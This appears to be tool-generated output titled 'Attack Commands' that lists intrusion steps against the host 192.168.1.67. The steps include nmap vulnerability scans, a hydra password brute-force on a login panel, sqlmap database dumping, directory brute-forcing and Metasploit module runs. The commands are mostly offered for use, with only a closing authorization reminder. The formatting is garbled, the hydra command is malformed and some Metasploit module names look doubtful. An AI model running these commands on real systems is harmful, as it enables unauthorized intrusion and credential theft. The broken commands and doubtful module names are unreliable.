Attack Commands

Generated by ShadowStrike

Table of Contents

Based on the nmap results provided, here are some potential attack vectors and corresponding commands to test them:

1. Web Server Exploitation:

“ # Check for outdated software versions nmap –script=http-version,http-enum,http-vuln -p 80 192.168.1.67

1 Test for common vulnerabilities

nmap –script=http-headers,http-methods,http-proxies,http-robots.txt -p 80 192.168.1.67

```
2. Authentication Bypass:


``

# Try to find default credentials

hydra -l admin -P /path/to/password/file http-post-form "http://192.168.1.67:80/panel


# Attempt SQL injection

sqlmap -u "http://192.168.1.67:80/" --dbs
```

3. Cross-Site Scripting (XSS):

“ # Use Burp Suite or OWASP ZAP to perform XSS testing # Alternatively, use Metasploit module: msfconsole > use auxiliary/scanner/http/xssed > set RHOSTS 192.168.1.67 > exploit

```
4. Directory Traversal:

``

# Try to access restricted directories
dirb http://192.168.1.67
```

5. File Upload Vulnerability:

“ # Use Metasploit module: msfconsole > use auxiliary/scanner/http/file_upload > set RHOSTS 192.168.1.67 > exploit

```
6. SSL/TLS Weaknesses:

``

# Check for weak SSL/TLS configurations
sslscan 192.168.1.67
```

7. DNS Rebinding:

“ # Use Metasploit module: msfconsole > use auxiliary/scanner/http/dns_rebind > set RHOSTS 192.168.1.67 > exploit “‘

Remember to always obtain proper authorization before attempting these tests on any system. These commands should only be used on systems you have explicit permission to test.